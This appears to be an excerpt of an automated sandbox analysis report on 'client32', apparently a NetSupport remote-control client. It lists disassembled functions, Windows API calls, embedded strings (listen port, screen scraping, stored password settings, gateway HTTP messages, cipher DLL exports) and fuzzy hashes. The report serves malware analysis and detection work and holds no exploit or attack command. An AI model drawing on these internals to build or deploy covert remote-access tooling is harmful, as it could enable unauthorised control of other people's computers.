Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

GetLocalTime.KERNEL32(?,_debug,CheckLeaks,00000001,00000000,8F98CBB2), ref: 11130E7E
LoadLibraryA.KERNEL32(psapi.dll), ref: 11130ED6
GetCurrentProcess.KERNEL32 ref: 11130F17
GetProcAddress.KERNEL32(?,GetProcessHandleCount), ref: 11130F41
GetProcessHandleCount.KERNEL32(00000000,?), ref: 11130F52
SetLastError.KERNEL32(00000078), ref: 11130F58
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11130F74
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11130F9C
SetLastError.KERNEL32(00000078), ref: 11130FB9
SetLastError.KERNEL32(00000078), ref: 11130FC6
GetProcAddress.KERNEL32(?,GetProcessMemoryInfo), ref: 11130FD8
K32GetProcessMemoryInfo.KERNEL32(?,?,00000028), ref: 11130FEB
SetLastError.KERNEL32(00000078), ref: 11130FF1
FreeLibrary.KERNEL32(?), ref: 1113115B
FreeLibrary.KERNEL32(?), ref: 11131168
FreeLibrary.KERNEL32(?), ref: 11131172

Strings

RestartUserObj, xrefs: 11131125
_debug, xrefs: 11130E62
psapi.dll, xrefs: 11130EB3
Client, xrefs: 111310B1, 111310DC, 11131103, 1113112A
GetProcessHandleCount, xrefs: 11130F3B
RestartHandles, xrefs: 111310D7
GetProcessMemoryInfo, xrefs: 11130FD2
Date=%04d-%02d-%02d, xrefs: 11130E9B
RestartMB, xrefs: 111310AC
Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB, xrefs: 11131063
RestartGdiObj, xrefs: 111310FE
GetGuiResources, xrefs: 11130F6E, 11130F96
CheckLeaks, xrefs: 11130E5D

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastLibraryProc$FreeProcess$CountCurrentHandleInfoLoadLocalMemoryTime__wcstoi64
String ID: CheckLeaks$Client$Date=%04d-%02d-%02d$GetGuiResources$GetProcessHandleCount$GetProcessMemoryInfo$RestartGdiObj$RestartHandles$RestartMB$RestartUserObj$Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB$_debug$psapi.dll
API String ID: 263027137-1001504656
Opcode ID: 284eb801fc06e75a0f3754faa4dbd14551c108b4321c639136860bd57e05090e
Instruction ID: 9a00bb499110d2507d68bbd57016205f0caf96ad2e35cba7fb85b81e670cb123
Opcode Fuzzy Hash: 284eb801fc06e75a0f3754faa4dbd14551c108b4321c639136860bd57e05090e
Instruction Fuzzy Hash: 05B18970E012699FDB51CFE9CDC0AEDFBB9AB88319F10846AE515E7248DB305884CB61

Function 1102D629 Relevance: 49.3, APIs: 7, Strings: 21, Instructions: 319
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,Client,screenscrape,00000001,00000003,TCPIP,ListenPort,00000000,00000003,00000003,?,?,?,?,?,?), ref: 1102D991

Strings

client32.ini, xrefs: 1102D7B5
11/09/15 09:21:05 V12.10F2, xrefs: 1102DE1E
ts macaddr=%s, xrefs: 1102DA7C
client32 dbi %hs, xrefs: 1102DE23
screenscrape, xrefs: 1102D978
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DA54
WTSQuerySessionInformationA, xrefs: 1102D9FE
MacAddress, xrefs: 1102DA8F
Wtsapi32.dll, xrefs: 1102D98C
Client, xrefs: 1102D945, 1102D97D, 1102DA94
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102DE4A
TCPIP, xrefs: 1102D965
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102DE70
WTSFreeMemory, xrefs: 1102DAC1
DisableConsoleClient, xrefs: 1102D8C7
928100, xrefs: 1102DBA5, 1102DDCC, 1102DE41
ClientName, xrefs: 1102DB45
TSMode, xrefs: 1102D940
ListenPort, xrefs: 1102D960
Error x%x reading %s, sesh=%d, xrefs: 1102D811
, xrefs: 1102DB15

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: $11/09/15 09:21:05 V12.10F2$928100$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$ListenPort$MacAddress$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 1029625771-592925100
Opcode ID: 42281f03be36c908e0d7a1648a59ebf2105338534a03dbaf0b39e33b327d3637
Instruction ID: 796cb7f010a0373e31feaea9f031654b84a4af0a9789c07af2b2af8e0f0cd310
Opcode Fuzzy Hash: 42281f03be36c908e0d7a1648a59ebf2105338534a03dbaf0b39e33b327d3637
Instruction Fuzzy Hash: 8BC1C475D0026A9FDB12DF958C90BEDF7B9BB44308F9440EDE959A7240D7706E80CB61

Function 6C4D98D0 Relevance: 45.8, APIs: 15, Strings: 11, Instructions: 346
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strncmp.LIBCMT ref: 6C4D996F
_strncmp.LIBCMT ref: 6C4D99A5

Strings

3', xrefs: 6C4D9CB2
CMD=NC_DATA, xrefs: 6C4D999F
Error send returned 0 on connection %d, xrefs: 6C4D9CF8
Error %d writing inet request on connection %d, xrefs: 6C4D9BE3
NC_DATA, xrefs: 6C4D9969
xx %02x, xrefs: 6C4D9AFB
Error %d sending HTTP request on connection %d, xrefs: 6C4D9D1F
%s, xrefs: 6C4D9AAA
abort send, gateway hungup, xrefs: 6C4D9D2E
SendHttpReq failed, not connected to gateway!, xrefs: 6C4D9934, 6C4D9B79
%02x %02x, xrefs: 6C4D9AE7

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: %02x %02x$%s$3'$CMD=NC_DATA$Error %d sending HTTP request on connection %d$Error %d writing inet request on connection %d$Error send returned 0 on connection %d$NC_DATA$SendHttpReq failed, not connected to gateway!$abort send, gateway hungup$xx %02x
API String ID: 909875538-2848211065
Opcode ID: f5b7cc9d088e7c453630d6a12a624d30e3a81fc6c3a5a4dbcb9c4a29de604af5
Instruction ID: f4659152254ef02e5790ebbd4efe67c0d1f4974c4389291f6a733051ef2019ed
Opcode Fuzzy Hash: f5b7cc9d088e7c453630d6a12a624d30e3a81fc6c3a5a4dbcb9c4a29de604af5
Instruction Fuzzy Hash: 63D11671A042149FDB20EF64CCA5FDAB7B4AF56308F0641D9D80D9BB41DB32A989CF91

Function 11028260 Relevance: 42.5, APIs: 2, Strings: 22, Instructions: 542
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,6C7D1370,?,0000001A), ref: 1102834D
_strrchr.LIBCMT ref: 1102835C

Part of subcall function 11160D5E: __stricmp_l.LIBCMT ref: 11160D9B

Strings

product.dat, xrefs: 11028310, 11028361
NSSName, xrefs: 110285A5
AssistantURL, xrefs: 11028729
NSSConfName, xrefs: 110286C5
SupportsChrome, xrefs: 11028756
TLA, xrefs: 11028575
AssistantName, xrefs: 110286FC
NSMAppDataDir, xrefs: 11028665
NSSAppDataDir, xrefs: 11028695
TechConsole, xrefs: 1102878D
SupportsAndroid, xrefs: 110287F2
NSSLongCaption, xrefs: 110287C5
Home, xrefs: 11028545
NSSTLA, xrefs: 110285D5
??I, xrefs: 11028967
\, xrefs: 110282DC
Name, xrefs: 110284AE
SupportWWW, xrefs: 11028605
??F, xrefs: 110288E0
LongName, xrefs: 110284E5
ShortName, xrefs: 11028515
SupportEMail, xrefs: 11028635

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileModuleName__stricmp_l_strrchr
String ID: ??F$??I$AssistantName$AssistantURL$Home$LongName$NSMAppDataDir$NSSAppDataDir$NSSConfName$NSSLongCaption$NSSName$NSSTLA$Name$ShortName$SupportEMail$SupportWWW$SupportsAndroid$SupportsChrome$TLA$TechConsole$\$product.dat
API String ID: 1609618855-357498123
Opcode ID: ddd328237dc0b90594aa32461407e5cfae32179008d883e2a7a3c4231abb1cc9
Instruction ID: 3bd81b9da5908e085a469b2853bb5f52d244aee14bcfc1b6e6f29bc019c18c33
Opcode Fuzzy Hash: ddd328237dc0b90594aa32461407e5cfae32179008d883e2a7a3c4231abb1cc9
Instruction Fuzzy Hash: E112F73CD052A68BDB46CF24C8847D8F7F4AB1930DF4440EAECD957205EB72A686CB91

Function 6C4E6BA0 Relevance: 42.3, APIs: 18, Strings: 6, Instructions: 273
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 6C4E6BD5
GetTickCount.KERNEL32 ref: 6C4E6C26
Sleep.KERNEL32(00000064), ref: 6C4E6C5B

Part of subcall function 6C4E6940: GetTickCount.KERNEL32 ref: 6C4E6950

WaitForSingleObject.KERNEL32(00000300,?), ref: 6C4E6C7C
_memmove.LIBCMT ref: 6C4E6C93
select.WSOCK32(00000001,?,00000000,00000000,?), ref: 6C4E6CB4
Sleep.KERNEL32(00000032,00000001,?,00000000,00000000,?), ref: 6C4E6CD9
GetTickCount.KERNEL32 ref: 6C4E6CEC
_calloc.LIBCMT ref: 6C4E6D76
GetTickCount.KERNEL32 ref: 6C4E6DF3
InterlockedExchange.KERNEL32(02CC2EB2,00000000), ref: 6C4E6E01
_calloc.LIBCMT ref: 6C4E6E33
_memmove.LIBCMT ref: 6C4E6E47
InterlockedDecrement.KERNEL32(02CC2E5A), ref: 6C4E6EC3
SetEvent.KERNEL32(00000304), ref: 6C4E6ECF
_memmove.LIBCMT ref: 6C4E6EF4
GetTickCount.KERNEL32 ref: 6C4E6F4F
InterlockedExchange.KERNEL32(02CC2DFA,-6C51A188), ref: 6C4E6F60

Strings

FALSE, xrefs: 6C4E6E67
ProcessMessage returned FALSE. Terminating connection, xrefs: 6C4E6F25
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6C4E6E62
ReadMessage returned FALSE. Terminating connection, xrefs: 6C4E6F3A
httprecv, xrefs: 6C4E6BDD
ResumeTimeout, xrefs: 6C4E6BBA

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked_memmove$ExchangeSleep_calloc$DecrementEventObjectSingleWaitselect
String ID: FALSE$ProcessMessage returned FALSE. Terminating connection$ReadMessage returned FALSE. Terminating connection$ResumeTimeout$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$httprecv
API String ID: 1449423504-919941520
Opcode ID: 31de7de8f01389fd449894fcacd98070f07f2b23bb4806bf615487e2a4111630
Instruction ID: 45e98ddb8d49de2e7f972a9eb474fa7be1c2c96daac96b3fa55871d81a1dd170
Opcode Fuzzy Hash: 31de7de8f01389fd449894fcacd98070f07f2b23bb4806bf615487e2a4111630
Instruction Fuzzy Hash: 64B1D2B5E002589FDB20DF64CC49FD973B4EB4934AF02419AE649E7A40D7B4AAC4CF91

Function 11085800 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 161libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000001,0000DD7C), ref: 1108588C
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 110858AA
LoadLibraryA.KERNEL32(?), ref: 110858EC
GetProcAddress.KERNEL32(?,CipherServer_Create), ref: 11085907
GetProcAddress.KERNEL32(?,CipherServer_Destroy), ref: 1108591C
GetProcAddress.KERNEL32(00000000,CipherServer_GetInfoBlock), ref: 1108592D
GetProcAddress.KERNEL32(?,CipherServer_OpenSession), ref: 1108593E
GetProcAddress.KERNEL32(?,CipherServer_CloseSession), ref: 1108594F
GetProcAddress.KERNEL32(00000000,CipherServer_EncryptBlocks), ref: 11085960

Strings

CipherServer_GetInfoBlock, xrefs: 11085927
CipherServer_GetRandomData, xrefs: 1108597C
CipherServer_EncryptBlocks, xrefs: 1108595A
CipherServer_DecryptBlocks, xrefs: 1108596B
CipherServer_CloseSession, xrefs: 11085949
CryptPak.dll, xrefs: 1108585B, 110858BE
CipherServer_ResetSession, xrefs: 1108598D
CipherServer_OpenSession, xrefs: 11085938
CipherServer_Create, xrefs: 11085901
CipherServer_Destroy, xrefs: 11085916

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$FileModuleName
String ID: CipherServer_CloseSession$CipherServer_Create$CipherServer_DecryptBlocks$CipherServer_Destroy$CipherServer_EncryptBlocks$CipherServer_GetInfoBlock$CipherServer_GetRandomData$CipherServer_OpenSession$CipherServer_ResetSession$CryptPak.dll
API String ID: 2201880244-3035937465
Opcode ID: fd380371f00269f16310bf564c54f4b19dea901ccf65685a4d8d33474bdf57a1
Instruction ID: ffe7acf55b8ecb502240b98f08f0e41ebf2edc523c1d6770b247593d800ae2e8
Opcode Fuzzy Hash: fd380371f00269f16310bf564c54f4b19dea901ccf65685a4d8d33474bdf57a1
Instruction Fuzzy Hash: B951B070E0430AAFD711DF69CC80AAAFFE8AF55304B1189AEE895D7245EA71E440CF51

Function 1113DC30 Relevance: 35.7, APIs: 3, Strings: 17, Instructions: 672registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000), ref: 1113DCEA

Strings

client, xrefs: 1113E103
Chg [%s]%s=%s, xrefs: 1113E295
NSA.LIC, xrefs: 1113DCFF, 1113DD06, 1113DD2D
Info. Lockup averted for AD policy changes, xrefs: 1113DEBD, 1113DEE4
_debug, xrefs: 1113E186
Info. Policy changed - reload transports..., xrefs: 1113E3D6
Client, xrefs: 1113E16C, 1113E41F
Add [%s]%s=%s, xrefs: 1113E1D6
TracePolicyChange, xrefs: 1113E181
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1113E468
Warning. Can't calc AD policy changes, xrefs: 1113E125
NSM.LIC, xrefs: 1113DCF0
Info. Policy changed - re-initui, xrefs: 1113E3B2
Del [%s]%s=%s, xrefs: 1113E235
IsA(), xrefs: 1113E46D
RoomSpec, xrefs: 1113E167, 1113E41A
client., xrefs: 1113E0E6

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Close
String ID: Add [%s]%s=%s$Chg [%s]%s=%s$Client$Del [%s]%s=%s$Info. Lockup averted for AD policy changes$Info. Policy changed - re-initui$Info. Policy changed - reload transports...$IsA()$NSA.LIC$NSM.LIC$RoomSpec$TracePolicyChange$Warning. Can't calc AD policy changes$_debug$client$client.$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 3535843008-2062829784
Opcode ID: 6a82a26a416406776e2e5db03783e9c7350d900f61788fa8aaeca4a68c688776
Instruction ID: 02d2500bd8507f7215b42bc9b22f69daac85bfef0f692aecd5c8aef97b6e3c88
Opcode Fuzzy Hash: 6a82a26a416406776e2e5db03783e9c7350d900f61788fa8aaeca4a68c688776
Instruction Fuzzy Hash: D1420774E112699FEB11CB60CD80FDEFB76AFD4319F4040D8D90967285EA726A84CF62

Function 11073B20 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 294threadtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

InitializeCriticalSection.KERNEL32(0000000C,?,00000000), ref: 11073C05
InitializeCriticalSection.KERNEL32(00000024,?,00000000), ref: 11073C0B
InitializeCriticalSection.KERNEL32(0000003C,?,00000000), ref: 11073C11
InitializeCriticalSection.KERNEL32(0000DB1C,?,00000000), ref: 11073C1A
InitializeCriticalSection.KERNEL32(00000054,?,00000000), ref: 11073C20
InitializeCriticalSection.KERNEL32(0000006C,?,00000000), ref: 11073C26
_strncpy.LIBCMT ref: 11073C88
ExpandEnvironmentStringsA.KERNEL32(?,?,00000100,?,?,?,?,?,?,00000000), ref: 11073CEF
CreateThread.KERNEL32(00000000,00004000,Function_0006FDD0,00000000,00000000,?), ref: 11073D8C
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 11073D93
SetTimer.USER32(00000000,00000000,000000FA,11062CD0), ref: 11073DD7
std::exception::exception.LIBCMT ref: 11073E88
__CxxThrowException@8.LIBCMT ref: 11073EA3

Strings

Password, xrefs: 11073D43
RememberPassword, xrefs: 11073CA0
General, xrefs: 11073CA5, 11073CD5, 11073D48
DefaultUsername, xrefs: 11073CD0
destroy_queue == NULL, xrefs: 11073C3B
..\ctl32\Connect.cpp, xrefs: 11073C36

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$CloseCreateEnvironmentException@8ExpandHandleStringsThreadThrowTimer_malloc_memset_strncpystd::exception::exceptionwsprintf
String ID: ..\ctl32\Connect.cpp$DefaultUsername$General$Password$RememberPassword$destroy_queue == NULL
API String ID: 703120326-1497550179
Opcode ID: 4d213a0ddb610db0d1ef52d85990e727b322108cac74d6bce975ec8809ef677f
Instruction ID: 8c0d2492ba74464a27e7fafdba04c8cff94809d0046ba1d5fe8a3d0465e383b7
Opcode Fuzzy Hash: 4d213a0ddb610db0d1ef52d85990e727b322108cac74d6bce975ec8809ef677f
Instruction Fuzzy Hash: 34B1C4B5A00319AFE710DF64CC85FDAF7F4BB48704F0085A9E6599B281EB70BA44CB65

Function 110301C1 Relevance: 31.9, APIs: 10, Strings: 8, Instructions: 351registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,?,00000001,?), ref: 110301DB
RegCloseKey.KERNEL32(?), ref: 11030303

Part of subcall function 1116010D: __isdigit_l.LIBCMT ref: 11160132

GetStockObject.GDI32(0000000D), ref: 110305B2
GetObjectA.GDI32(00000000,0000003C,?), ref: 110305C2
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 11030600
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 11030606
InterlockedExchange.KERNEL32(02478D48,00001388), ref: 11030686
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 110306B8

Part of subcall function 1113F3A0: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110C55B,76938400,?,?,111414FF,00000000,CSDVersion,00000000,00000000,?), ref: 1113F3C0

Strings

pcicl32, xrefs: 11030791
CurrentMinorVersionNumber, xrefs: 110302CC
